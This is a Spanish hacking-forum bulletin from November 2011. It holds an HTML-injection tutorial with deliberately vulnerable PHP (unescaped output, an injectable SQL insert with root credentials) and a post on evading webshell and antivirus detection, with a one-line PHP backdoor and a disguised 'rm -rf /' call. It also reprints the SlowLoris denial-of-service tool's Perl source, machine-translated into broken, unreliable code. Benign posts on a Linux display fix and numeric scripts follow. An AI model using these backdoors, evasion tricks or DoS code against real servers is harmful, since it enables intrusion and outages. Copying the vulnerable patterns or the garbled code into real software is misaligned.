You are on page 1of 15

Bolet de Noviembre n 2011

CPH

Noviembre 2011

Indice
1. HTML injection (Ataque y Defensa) [Practico] 2. Evitar la deteccin de Webshells y backdoors o 3. SlowLoris 4. Solucion al error *ERROR* EDID checksum is invalid, remainder is 130 5. Halla la ra de cualquier funcin [Teorema de Bolzano] z o 6. Ingreso y ordenamiento de elementos de menor a mayor de un array 7. Descomposicin Wavelet o 3 6 7 12 13 14 14

Noviembre 2011

1.

HTML injection (Ataque y Defensa) [Practico]


Autor: 2Fac3R [Enlace al post]

Bienvenidos a este nuevo tutorial, soy 2Fac3R y en este tutorial se mostrara informacion sobre el bug HTML injection. CONOCIMIENTOS BASICOS: - Saber montar un servidor local de pruebas - Conocer lo basico de HTML, PHP y MySQL En que consiste el HTMLi? El fallo consiste en la inyecci`n de codigo HTML en una web, el fallo se da cuando un webmaster pide al o usuario que ingrese algun valor, y el usuario (atacante) inyecta codigo malicioso (HTML injection) lo cual hace que ese codigo sea mostrado en el website del webmaster. Vamos a crear un ejemplo de codigo que se ejecuta pidiendole al usuario:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18

< html > < head > < title > HTMLi Tester By 2 Fac3R </ title > < body bgcolor = " black " text = " green " link = " white " > <? php // Se recibe la llamada por $_GET $inj = $_GET [ inj ]; // Si la variable contiene algo , muestra el contenido if ( isset ( $inj ) ) { echo $inj ; } else { // Sino Nos da un link que nos direcciona a donde ponemos la inyeccion ( el sitio de el GET por URL ) echo <a href =" http ://127.0.0.1/ htmli . php ? inj =" > Inyectar ! </a > ; } ?> </ body > </ html >

Como vemos, si inyectamos codigo cualquiera el navegador lo ejecutara y mostrara nuestro mensaje, vamos a la pagina, en mi caso lo hago desde localhost asi que queda asi: http://127.0.0.1/htmli.php Al ejecutarlo nos aparece la imagen con el link de inyectar! que hemos puesto en el else. Vamos y nos da un: http://127.0.0.1/htmli.php?inj= INYECTANDO CODIGO: Como sabemos si la web es vulnerable?, lo que hay que hacer es probar codigo HTML para ver si se ejecuta, por lo tanto si ponemos: http://127.0.0.1/htmli.php?inj=<h1>2Fac3R Nos saltaria 2Fac3R en un encabezado (<h1>), con esto nos damos cuenta que lo que pongamos en la variable inj en la URL ($_GET) no lo ejecutar el navegador... a JUGANDO CON LAS INYECCIONES: Como sabemos, para jugar con las inyecciones y entretenernos un rato, podemos hacer uso de diferentes tipos de etiquetas dependiendo el dominio que tengamos sobre HTML, por ejemplo: http://127.0.0.1/htmli.php?inj=0wn3dD By 2Fac3R<p> Este es un defacement por HTMLi http://127.0.0.1/htmli.php?inj=0wn3dD By <h1>2Fac3R</h1>Este es un defacement <font color="RED">por HTMLi</font> http://127.0.0.1/htmli.php?inj=<font size ="10" color="red"> <marquee>0wn3DD By 2Fac3R</marquee></font> Y asi dependiendo de la imaginacin de cada quien ;) o 3

Noviembre 2011

Pero en este caso hay algo que no nos gusta, los codigos solo los veremos nosotros en nuestro navegador, ya que no se esta ejecutando del lado del servidor, asi que no seria muy util para hacer algo serio, a menos que usaramos ing. Social para que alguien mas (web-admin) lo ejecute (por lo regular seria un XSS, para robar cookies) y asi hacernos de algo o simplemente que vea nuestra hermosa inyeccin xDD. o GUESTBOOKS, Y APLICACIONES VULNERABLES: En muchos sitios encontramos con los famosos libros de visitas.el cual tiene la nalidad de que el usuario comente sobre la web, ponga sus experiencias, criticas, opiniones, etc. Es aqui donde se utiliza mas el HTMLi, el usuario puede agregar lo que quiera y por lo tanto ese mensaje quedara guardado en la base de datos del website para despues mostrarse, y asi es como tendriamos oportunidad de injectar codigo y que se ejecute en el navegador de los usuarios cuando visiten esa aplicacin. o Nota: No solo con libros de visitas podemos injectar codigo, sino con cualquier aplicacin web que no ltre o esos datos y que los muestre despues. En el ejemplo que hemos visto, mostramos la forma por $_GET ya que es mas cmodo inyectar mediante la o URL, ahora veamos un cdigo de ejemplo por POST, el cual funciona por un Formulario: o
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22

< html > < head > < title > HTMLi Tester ( $_POST ) </ title > < body bgcolor = " black " text = " green " > <? php $snd = $_POST [ send ]; $it = $_POST [ inj ]; if ( isset ( $snd ) ) { // Mostramos en pantalla el contenido que viene del Formulario echo $it ; } else { echo < form action ="" method =" POST " > < input type =" text " name =" inj " > < input type =" submit " name =" send " value =" Inyectar !" > </ form > ; } ?> </ body > </ html >

Nos damos cuenta que realmente es lo mismo, solo que inyectamos el codigo mediante un formulario y por $_POST, as que para que sea realmente vulnerable y util, ya que este tutorial pretende ser muy practico y con muchos ejemplos, veamos un cdigo de un Guestbook codeado por mi usando HTML, PHP y MySQL, o lgicamente no contiene la seguridad que deber o a: guestbook.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26

<? php $serv = " localhost " ; $user = " root " ; $pass = " root " ; $db = " prueba " ; if ( isset ( $_POST [ send ]) ) { $conexion = mysql_connect ( $serv , $user , $pass ) ; mys ql _s e le ct _ db ( $db , $conexion ) or die ( " Error en la seleccion de la bd " . mysql_error () ) ; mysql_query ( " INSERT INTO comentarios ( Autor , Titulo , Mensaje ) VALUES ( " . $_REQUEST [ Autor ]. " ," . $_REQUEST [ Titulo ]. " ," . $_REQUEST [ Mensaje ]. " ) " , $conexion ) or die ( " Error en la query " . mysql_error () ) ; mysql_close ( $conexion ) ; echo " Se ha publicado correctamente " ; } else { echo < form action ="" method =" POST " > <b > Autor : < input type =" text " name =" Autor " > <br > Titulo : < input type =" text " name =" Titulo " > <br > <br > Mensaje : </b > < br > < TEXTAREA name =" Mensaje " cols ="100" rows ="10" > </ TEXTAREA > <br > < input type =" submit " name =" send " value =" Publicar !" > </ form > ; } ?>

Noviembre 2011

Logicamente no se explicara el codigo (se supone que ya lo entiendes xD), veamos el codigo que ha creado el webmaster del sitio para ver el contenido de lo que se publica, logicamente lo puede ver desde la bd pero por X razon existe el code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24

<? php # Reemplazar por tus datos : $serv = " localhost " ; $user = " root " ; $pass = " root " ; $db = " prueba " ; # ............................... $conexion = mysql_connect ( $serv , $user , $pass ) or die ( " Problemas en la conexion " ) ; # Se selecciona la bd mysql _ se le ct _ db ( $db , $conexion ) or die ( " Problemas en la seleccion de la base de datos " ) ; # Se seleccionan las columnas a trabajar $comments = mysql_query ( " SELECT * FROM comentarios " , $conexion ) or die ( " Problemas en el select : " . mysql_error () ) ; # Se mete en la variable la llamada a la sql anterior # Se crea un bucle a trabajar en cada vuelta de datos que encuentre while ( $dat = m y s q l _ f e t c h _ a r r a y ( $comments ) ) { echo " <b > Autor : </ b > " . $dat [ Autor ]. " <br > " ; echo " <b > Titulo : </b > " . $dat [ Titulo ]. " <br > " ; echo " <b > Mensaje : </b > " . $dat [ Mensaje ]. " <br > " ; echo " - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - < br > " ; } # Cerramos la conexion ... mysql_close ( $conexion ) ; ?>

Ahi comente el codigo (por si no se entiende del todo), con esto vemos que imprime directamente el contenido de la bd, por lo tanto si nosotros metieramos codigo malicioso, nos lo mostraria en pantalla sin ningun ltro, con esto podriamos hacer un HTMLi o incluso un XSS. SECURIZANDO NUESTRO WEBSITE: Todo esto puede ser muy lindo, el estar dandole dolores de cabeza al webmaster, pero que pasaria si nos lo hacen a nosotros no seria muy bonito ahora. Veamos como hacer que nuestro sitio no nos hagan estas inyecciones de codigo (HTML, XSS...) Opciones: strip_tags() = Elimina las etiquetas ejemplo: <h1>0wnN3D</h1> Nos daria: 0wnN3D (simplemente)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

< html > < head > < title > HTMLi Tester By 2 Fac3R ( parcheado ) </ title > < body bgcolor = " black " text = " green " link = " white " > <? php $inj = $_GET [ inj ]; if ( isset ( $inj ) ) { echo strip_tags ( $inj ) ; } else { echo <a href =" http ://127.0.0.1/ htmli . php ? inj =" > Inyectar ! </a > ; } ?> </ body > </ html >

htmlentities() = Obtiene las etiquetas de la inyeccion pero no las ejecuta ejemplo: <h1>0wnN3D</h1> Nos daria: <h1>0wnN3D</h1> (pero no ejecutar el cdigo) a o
1 2 3 4 5 6 7 8

< html > < head > < title > HTMLi Tester By 2 Fac3R ( parcheado ) </ title > < body bgcolor = " black " text = " green " link = " white " > <? php $inj = $_GET [ inj ]; if ( isset ( $inj ) ) {

Noviembre 2011

9 10 11 12 13 14 15

echo htmlentities ( $inj ) } else { echo <a href =" http ://127.0.0.1/ htmli . php ? inj =" > Inyectar ! </a > ; } ?> </ body > </ html >

La opcion que ustedes eligan pues ya depende del caso. Creo que el contenido del manual se ha explicado correctamente, por lo tanto creo que aqui termina. Recuerda que esto es para practicar en casa y APRENDER, no para daar a cada website que te encuentres vulnerable. n COPYRIGHT: It has Written By 2Fac3R FOR http://www.breaksecurity.blogspot.com IN elhacker.net ############################################################ ## ## # Destribucin libre, respetando el autor y dedicatoria. # o ## ## ############################################################

2.

Evitar la deteccin de Webshells y backdoors o


Autor: The X-C3LL [Enlace al post]

En los ultimos aos la cantidad de defaces se ha incrementado bastante, por lo que no es de extraar que n n estn apareciendo cada vez ms herramientas dedicadas a la deteccin de webshells y backdoors -comoNeoPI-, e a o que junto a los AVs, intentan limpiar los servidores. La primera l nea de deteccin de los AVs y las herramientas orientadas a WSD (WebShell Detection) est bao a sada en rmas. Un mtodo de deteccin bastante simple y extendido es el de uso de checksums a modo de rma, e o que consiste en comparar los hashes de los archivos del servidor con los existentes en una lista negra. En dicha lista se encuentran los checksums de backdoors y webshells de los que ya tienen constancia las compa de nas AVs. Esta tcnica de deteccin es fcilmente evadible, puesto que aadiendo un comentario en el source se e o a n modicar radicalmente su checksum y ya no ser detectado. a a La deteccin de rmas suele ir ms all, tratando de encontrar nombres de funciones declaradas dentro de o a a la propia webshell, o incluso trozos de cdigo que sean t o pico. Este mtodo puede surtir efecto en aquellas shells e clsicas (como la C99, por ejemplo) a partir de las cuales se han ido distribuyendo distintas versiones con a pequeas modicaciones del cdigo, pero que en esencia las funciones propias siguen manteniendo los mismos n o nombres, o incluso grandes porciones del cdigo, por lo que la deteccin es inmediata. o o En estos casos lo ms fcil para que pase desapercibida es modicar los nombres de todas las funciones, a a reordenar el cdigo y alterar la seccin del HTML que maquetar a la shell. o o a Por supuesto que el uso de listas negras de funciones sospechosas (como system, o base64 decode) es otro mtodo clsico para detectar archivos maliciosos. Para utilizar estas funciones y pasar desapercibido podemos e a hacer uso de las funciones variables -cuando una variable tenga () al nal, PHP buscar una funcin con el a o mismo nombre- :
1 2

$a = sys . tem ; $a ( rm - rf / ) ;

Incluso podemos ir ms all y tomar la funcin desde variables de tipo GET (u otras variables como usera a o agent y similares):
1 2 3

<? php echo $_GET [2]( $_GET [1]) ; ?>

Noviembre 2011

Pero las herramientas de WSD no se quedan aqu sino que tambin implementan otros conceptos curiosos , e para detectar shells ofuscadas. Un claro ejemplo es NeoPI, que busca dentro de los archivos cadenas largas de caracteres, puesto que son t picas de los cdigos ofuscados. La idea en inicio es buena, pero yerra porque son o varias las funciones que al pasarle un string eliminan los espacios que contenga. Un ejemplo es base64 decode: si le metemos una cadena en base64 donde cada pocos caracteres aparece un espacio, sta va a ser le e da perfectamente. Adems NeoPI tambin detecta archivos con una entrop muy alta, por lo que si aadimos espacios entre a e a n cada carcter de la cadena ofuscada con base64, la entrop descender y pasar desapercibido. a a a a PD: el bypassing a NeoPI estan sacadas de este post de Seth donde podreis encontrar un ejemplo de una shell 100 % invisible para esta herramienta. Fuente: http://0verl0ad.blogspot.com/2011/11/indetectando-webshells-y-backdoors.html

3.

SlowLoris
Autor: mDrinky [Enlace al post] [Link a la pagina ocial]

Slowloris es un software escrito por Robert RSnake Hansen , que permite una sola mquina para acabar a con el servidor web de otra mquina con un m a nimo de ancho de banda y los efectos secundarios de los servicios relacionados y los puertos. Slowloris trata de mantener muchas conexiones con el servidor web de destino abierto y mantenerlas abiertas el mayor tiempo posible. Esto se logra mediante la apertura de conexiones con el servidor web de destino y el env de una solicitud parcial. Peridicamente, se enviar siguientes cabeceras HTTP, aadiendo, pero nunca de o o a n completar el pedido. Los servidores afectados mantendrn las conexiones abiertas, llenando su piscina mximo a a de conexiones simultneas, con el tiempo negando los intentos de conexin adicionales de los clientes. a o Slowloris es diferente de la t pica negacin de servicio en que el trco leg o a timo Slowloris utiliza el trco a HTTP, y no se basa en el uso especial de malaslas peticiones HTTP que se aprovechan de errores en determinados servidores HTTP. Debido a esto rewalls de aplicaciones web existentes, y las soluciones IDS a IPS que se basan en rmas para detectar ataques no suelen reconocer Slowloris. Esto signica que Slowloris es capaz de ser ecaz incluso cuando estndar de calidad empresarial y los sistemas IDS IPS estn en su lugar. a a Los detalles de Raw HTTP DOS Ejemplo: . / Slowloris.pl-dns www.example.com Avanzada HTTP DoS: Puede sintonizar Slowloris usar ciertas ventanas de tiempo de espera. Por ejemplo, si usted sabe que el servidor tiene un tiempo de espera de 20 segundos, pero la conexin es bastante latente es posible que desee o tomar el tiempo de espera ventana de 200 segundos y aumentar el tiempo de espera de TCP a 5 segundos. El siguiente ejemplo utiliza 500 sockets. La mayor de los servidores Apache promedio, por ejemplo, tienden a a caer entre 400 a 600 tomas con una conguracin predeterminada. Algunos son menos de 200. Cuanto menor o sea el tiempo de espera ms rpido se consume todos los recursos disponibles, como los otros conectores que a a estn en uso estn disponibles - esto ser resuelto por la rosca, pero eso es para una futura revisin. Cuanto a a a o ms cerca se puede llegar al nmero exacto de tomas, mejor, porque eso reducir la cantidad de intentos (y a u a ancho de banda asociado) que Slowloris har para tener xito. a e . / Slowloris.pl-dns-port www.example.com 80 de tiempo de espera de 20 num 500 tcpto 5 Cdigo fuente, en perl: o
1 2 3 4 5

# ! / Usr / bin / perl - w use strict ; use IO :: Socket :: INET ; use IO :: Socket :: SSL ; uso Getopt :: Long ;

Noviembre 2011

6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86

el uso de configuracion ; $ SIG { Pipe } = IGNORE ; # ignorar errores tuberia rota print << EOTEXT ; Bienvenido a Slowloris - el ancho de banda , sin embargo , codiciosos y venenosa de cliente HTTP EOTEXT my ( $ host , el puerto , $ sendhost , $ shost , prueba $ , version $ , $ conexiones de tiempo de espera , $); my ( $ cache , httpready $ , $ method , $ ssl , $ rand , $ tcpto ) ; my $ result = getOptions ( " Shost = s = > \ $ shost , " Dns = s = > \ $ host , " Httpready = > \ $ httpready , " Num = i = > \ $ conexiones , Cache = > \ $ cache , Port = i = > \ $ puerto , Https = > \ $ ssl , " Tcpto = i = > \ $ tcpto , Test = > \ $ test , " Timeout = i = > \ $ timeout , Version = > \ $ version , ); if ( $ version ) { print " La version 0.7 \ n " ; salida ; } a menos que ( $ host ) { print " Uso : \ n \ n \ tperl $ 0 - dns [ www . example . com ] opciones de \ n " ; print " \ n \ perldoc $ 0 tType para conocer las opciones \ n \ n " .; salida ; } a menos que ( $ puerto ) { $ Port = 80; print " I ncumpli miento en el puerto 80 \ n " .; } a menos que ( $ tcpto ) { $ Tcpto = 5; print " I ncumpli miento de un tiempo de espera de 5 segundos de conexion tcp \ n " .; } a menos que ( $ test ) { a menos que ( $ timeout ) { $ Timeout = 100; print " I ncumplim iento a 100 segundos de tiempo de espera volver a intentar \ n " .; } a menos que ( $ enlaces ) { $ Conexion = 1000; print " I ncumplim iento de 1000 conexiones \ n " .; } } my $ u s e m u l t i t h r e a d i n g = 0; if ( $ Config { usethreads }) { print " M ultithr eading permitido \ n " .; $ U s e m u l t i t h r e a d i n g = 1; uso de las discusiones ; uso de las discusiones :: compartir ; } else { print " No capabilites mu ltithre ading encontrado \ n " ; print " Slowloris sera mas lento de lo normal como resultado \ n " .; } my $ packetcount : compartir = 0; my $ failed : compartir = 0; my $ c o nn ec ti o nc ou n t : compartir = 0; srand () if ( $ cache ) ; if ( $ shost ) { $ = $ Sendhost shost ; } else { $ = $ Sendhost de acogida ; } if ( $ httpready ) {

Noviembre 2011

87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142

$ Method = " POST " ; } else { $ Method = " GET " ; } if ( $ prueba ) { mi @ veces = ( " 2 " , " 30 " , " 90 " , " 240 " , " 500 " ) ; my $ totalTime = 0; foreach ( @ veces ) { $ TotalTime = $ totalTime + $ _ ; } $ TotalTime = $ totalTime / 60; print " Esta prueba podria tomar hasta $ totalTime minutos \ n " .; my $ delay = 0; mi trabajo $ = 0; my $ sock ; if ( $ ssl ) { if ( $ Sock = new IO :: Socket :: SSL ( Secure PeerAddr = > " $ host " , PeerPort = > " $ puerto " , Tiempo de espera = > " $ tcpto " , Proto = > " tcp " , ) ) { $ De trabajo = 1; } } else { if ( $ Sock = new IO :: Socket :: INET ( PeerAddr = > " $ host " , PeerPort = > " $ puerto " , Tiempo de espera = > " $ tcpto " , Proto = > " tcp " , ) ) { $ De trabajo = 1; } } if ( $ trabajo ) { if ( $ cache ) { $ Rand = " ? " . int ( rand ( 9 9 9 9 9 9 9 9 9 9 9 9 9 9 ) ) ; } else { $ Rand = " " ; } mi = $ primar ypayloa d " GET / HTTP /1.1 $ rand \ r \ n " . " Host : $ sendhost \ r \ n " . " User - Agent :. Mozilla /4.0 ( compatible ; MSIE 7.0 , Windows NT 5.1; Trident /4.0; NET CLR 1.1.4322; NET CLR 2.0.503 l3 ; NET CLR 3 .0.4506 .2152; NET CLR 3.5.30729;... MSOffice 12) \ r \ n " . " Content - Length : 42 \ r \ n " ; if ( $ sock imprimir $ primary payload ) { print " una conexion con exito , ahora viene el juego de la espera ... \ n " ; } else { imprimir " Esto es extrano - He conectado , pero no pudo enviar los datos a $ host :. $ Port \ n " ; print " Es algo malo \ nDying \ n ?. " ; salida ; } } else { print " Uhm ... No me puedo conectar a $ host :. $ port \ n " ; print " Es algo malo \ nDying \ n ?. " ; salida ; } for ( my $ i = 0; $ i <= $ # veces ; $ i + +) { print " Intentar una por $ [ $ i ] segundos de retraso : \ n " ; del sueno ( $ veces [ $ i ]) ; if ( $ sock imprimir "X - a : b \ r \ n " ) { print " \ tWorked \ n " .; $ Delay = $ veces [ $ i ]; } else {

143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166

Noviembre 2011

167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248

if ( $ SIG { __WARN__ }) { $ Delay = $ veces [ $ i - 1]; pasado ; } print " \ $ tFailed despues de los tiempos [ $ i ] segundos \ n " .; } } if ( $ sock de impresion " Connection : Close \ r \ n \ r \ n " ) { print " . Bueno eso es tiempo suficiente Slowloris cerro el socket \ n " .; print " Uso $ segundos de retardo para el tiempo de espera \ n " .; salida ; } else { print " El servidor remoto cerrado socket \ n " .; print " Uso $ segundos de retardo para el tiempo de espera \ n " .; salida ; } if ( $ retardo <166) { print << EOSUCKS2BU ; Desde el tiempo de espera termino siendo tan pequeno ( $ segundos de retraso ) y por lo general tarda entre 200 a 500 hilos para la mayoria de los servidores y asumir ningun tipo de latencia en todos los ... usted podria tener problemas con Slowloris en contra de este objetivo . Puede ajustar el tiempo de espera de bandera a menos de 10 segundos , pero todavia no puede construccion de las tomas en el tiempo . EOSUCKS2BU } } else { imprimir " Conexion a $ host : $ port cada segundo de tiempo de espera $ $ con tomas de conexiones : \ n " ; if ( $ u s e m u l t i t h r e a d i n g ) { d o m u l t i t h r e a d i ng ( $ conexiones ) ; } else { doconnections ( $ conexion , $ u s e m u l t i t h r e a d i n g ) ; } } { sub doconnections my ( $ num , $ u s e m u l t i t h r e a d i n g ) = @ _ ; mi ( @ primer @ calcetin , @ de trabajo ) ; my $ f a i l e d c o n n e c t i o n s = 0; $ De trabajo [ $ _ ] = 0 foreach (1 .. $ num ) ; # inicializar Primeros $ [ $ _ ] = 0 foreach (1 .. $ num ) ; # inicializar while (1) { $ F a i l e d c o n n e c t i o n s = 0; print " \ t \ sockets tBuilding \ n " .; foreach my $ z (1 .. $ num ) { if ( $ trabajo [ $ z ] == 0) { if ( $ ssl ) { if ( $ Sock [ $ z ] = new IO :: Socket :: SSL ( Secure PeerAddr = > " $ host " , PeerPort = > " $ puerto " , Tiempo de espera = > " $ tcpto " , Proto = > " tcp " , ) ) { $ De trabajo [ $ z ] = 1; } else { $ De trabajo [ $ z ] = 0; } } else { if ( $ Sock [ $ z ] = new IO :: Socket :: INET ( PeerAddr = > " $ host " , PeerPort = > " $ puerto " , Tiempo de espera = > " $ tcpto " , Proto = > " tcp " , ) ) { $ De trabajo [ $ z ] = 1; $ = $ Packetcount packetcount + 3 , # SYN , SYN + ACK , ACK } else { $ De trabajo [ $ z ] = 0;

10

Noviembre 2011

249 250 251 252 253 254 255 256 257 258 259 260 261

262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327

} } if ( $ trabajo [ $ z ] == 1) { if ( $ cache ) { $ Rand = " ? " . int ( rand (9 9 9 9 9 9 9 9 9 9 9 9 9 9 ) ) ; } else { $ Rand = " " ; } mi = $ primar ypayloa d " $ Method / $ rand HTTP /1.1 \ r \ n " . " Host : $ sendhost \ r \ n " . " User - Agent :. Mozilla /4.0 ( compatible ; MSIE 7.0 , Windows NT 5.1; Trident /4.0; NET CLR 1.1.4322; NET CLR 2.0.503 l3 ; NET CLR 3.0.4506 .2152; NET CLR 3.5.30729;... MSOffice 12) \ r \ n " . " Content - Length : 42 \ r \ n " ; my $ handle = $ sock [ $ z ]; if ( $ gestor ) { print $ gestor " $ prima rypayloa d " ; if ( $ SIG { __WARN__ }) { $ De trabajo [ $ z ] = 0; cerca de $ gestor ; $ No + +; $ F a i l e d c o n n e c t i o n s + +; } else { $ Packetcount + +; $ De trabajo [ $ z ] = 1; } } else { $ De trabajo [ $ z ] = 0; $ No + +; $ F a i l e d c o n n e c t i o n s + +; } } else { $ De trabajo [ $ z ] = 0; $ No + +; $ F a i l e d c o n n e c t i o n s + +; } } } print " \ t \ tSending datos \ n " .; foreach my $ z (1 .. $ num ) { if ( $ trabajo [ $ z ] == 1) { if ( $ sock [ $ z ]) { my $ handle = $ sock [ $ z ]; if ( $ gestor de impresion "X - a : b \ r \ n " ) { $ De trabajo [ $ z ] = 1; $ Packetcount + +; } else { $ De trabajo [ $ z ] = 0; # Informacion de depuracion $ No + +; $ F a i l e d c o n n e c t i o n s + +; } } else { $ De trabajo [ $ z ] = 0; # Informacion de depuracion $ No + +; $ F a i l e d c o n n e c t i o n s + +; } } } imprimir " Las actuales estadisticas : \. TSlowloris ha enviado paquetes de $ packetcount con exito \ n Este hilo ya dormir por $ segundos de tiempo de espera ... \ n \ n " ; del sueno ( $ timeout ) ; } } domu l t i t h r e a d i n g sub { my ( $ num ) = @ _ ; mi @ thrs ; my $ i = 0; my $ c o n n e c t i o n s p e r t h r e a d = 50; while ( $ i <$ num ) { $ Thrs [ $ i ] = threads - > create (\ doconnections , $ connectionsperthread , 1) ;

11

Noviembre 2011

328 329 330 331 332 333 334

$ I + = $ connectionsperthread ; } mi @ threadslist = threads - > list () ; while ( $ # threadslist > 0) { $ Errores = 0; } }

4.

Solucion al error *ERROR* EDID checksum is invalid, remainder is 130


Autor: Dj Dexter

[Enlace al post] Ultimamente he tenido problemas con la EDID, mas bien con el detector de la suma de ella, la que esta integrada con el kernel y que funciona si esta activado el kms en el kernel. Solo para los que usan los drivers de ATI xf86-video-ati: [drm:drm_edid_block_vali [drm:drm_edid_block_vali [drm:drm_edid_block_vali [drm:drm_edid_block_vali d] d] d] d] *ERROR* *ERROR* *ERROR* *ERROR* EDID EDID EDID EDID checksum checksum checksum checksum is is is is invalid, invalid, invalid, invalid, remainder remainder remainder remainder is is is is 130 130 130 130

y da cosas como esto el sistema se paraliza 2 segundos y sigue normal, talvez a muchos les ha pasado a los usuarios de radeon con drivers libres, aunque el problema radica en el kernel cuando lee el edid y claro muchos monitores tienen buena informacin en ella, pero su suma no. o Usar sudo, o su + pass de root para los siguientes comandos Editar como root esto o con otro editor: #nano /boot/grub/grub.conf o menu.lst deberia quedar mas o menos asi (puede variar la conguracion pero lo que importa es aadir el nomodeset n ahi): title=Gentoo Linux, Kernel 3.0.6-gentoo kernel /boot/kernel-3.0.6-gentoo root=/dev/sda1 quiet nolapic noapic noapm nomodeset raid=noautodetect nopat acpi_enforce_resources=lax guardar los cambios, si es en nano con ctrl+x Si usas grub2: #nano /etc/default/grub editar esa linea para que salga en ves que eso: GRUB_CMDLINE_LINUX_DEFAULT="quiet" quede asi: GRUB_CMDLINE_LINUX_DEFAULT="quiet nomodeset" (Para los Usuarios de Gentoo) Al no usar el KMS y tener activado gallium perderas la aceleracion 3D, pero hay 1 manera de recuperarla como root haz esto: #eselect mesa set r300 classic o eselect mesa set r600 classic (segun que tarjeta ATI tengas) #eselect mesa set sw classic con eso usaras el mesa de siempre y al reiniciar aun tendras aceleracion 3D reiniciar con reboot como root o de otra manera (sudo reboot), ahora saldran mensajes como este:

12

Noviembre 2011

[ [ [ [

29.067044] 29.071722] 29.071842] 29.071853]

[drm] [drm] [drm] [drm]

Setting GART location based on new memory map Loading R300 Microcode Num pipes: 1 writeback test succeeded in 1 usecs

aunque la resolucion de las tty baje, ya no habra mas problemas con la deteccion de EDID, ya no habra spam de ella, llenandote los syslogs ps: si tenias activado ignoreedid, quitalo ya que xorg ahora tomara en cuenta esa opcion Edita la section device de /etc/X11/xorg.conf, la dejas asi: Option "IgnoreEDID" "False" o simplemente la sacas , guardas los cambios y reinicias las X.

5.

Halla la ra de cualquier funcin [Teorema de Bolzano] z o


Autor: jeje44 [Enlace al post] Lenguaje: Python

Es un cdigo de python orientado a ser utilizado como mdulo cuya funcin bolz nos devuelve las ra o o o ces aproximadas de la funcin CONTINUA que le enviamos. Creo que todos los detalles estn explicados en el o a cdigo, pero si surge alguna duda las respondo :D. o Si no saben que es el teorema de Bolzano: Teorema de Bolzano Las desventajas de este mtodo es que no es una ra exacta sino muy aproximada, y una desventaja aadida e z n debido a la incompetencia del programador (yo xD) es que solo halla una ra z.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41

import math , sys def bolz (f , ini , end ) : """ Esta es la funcion " principal " , la que ejecuta el metodo de Bolzano para resolver funciones . La variable f es la funcion que se estudiara . Las variables ini y end indica el intervalo en el que se estudiara la funcion Los tipos de funciones que se admiten son : Polinomicas EJ : 3*( x **2) +4* x +3 Logaritmicas : log ( x ) , ln ( x ) T ri go no m et ri c as : sin ( x ) , tg ( x ) , arccos ( x ) -> arcocoseno Cualquier combinacion entre ellas : 4*( x **2) + ln ( x +2) - cos ( x /3) IMPORTANTE : Cuidado con los parentesis ! Recomiendo poner el maximo numero posible para que python no haga operaciones que no deseamos . Si vas a poner funciones logaritmicas , ten cuidado que no se estudie zonas del dominio negativo . """ f = resca ( f ) a =0 y =[ int ( ini ) ,( int ( ini ) + int ( end ) ) /2 , int ( end ) ] x =[0 ,0 ,0] while a < 20: x [0]= res (f , y [0]) x [1]= res (f , y [1]) x [2]= res (f , y [2]) if x . count (0) > 0: sol = y [ x . index (0) ] if a < 18: if ( x [0]* x [1]) <0: sol = y [0] y [2]= y [1] y [1]=( y [0]+ y [2]) /2 else :

13

Noviembre 2011

42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63

sol = y [1] y [0]= y [1] y [1]=( y [1]+ y [2]) /2 a = a +1 return sol def res (f , x ) : """ Esta funcion devuelve f ( x ) """ f = f . replace ( " x " , str ( x ) ) return eval ( f ) def resca ( f ) : """ Reescribe las funciones trigonometricas , logaritmos ... """ f = f . replace ( " cos " ," math . cos " ) f = f . replace ( " sin " ," math . sin " ) f = f . replace ( " tg " ," math . tan " ) f = f . replace ( " ln " ," math . log " ) f = f . replace ( " log10 " ," math . log10 " ) f = f . replace ( " arccos " ," math . cos " ) f = f . replace ( " arcsin " ," math . sin " ) f = f . replace ( " arctg " ," math . tan " ) return f

6.

Ingreso y ordenamiento de elementos de menor a mayor de un array


Autor: SC123+ [Enlace al post] Lenguaje: Basic Complejidad: O(n2 ) (en todos los casos)

En cada iteracin se busca el mayor valor de la lista, se coloca en la ultima posicin y se vuelve a buscar o o con la lista descontando el valor encontrado.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29

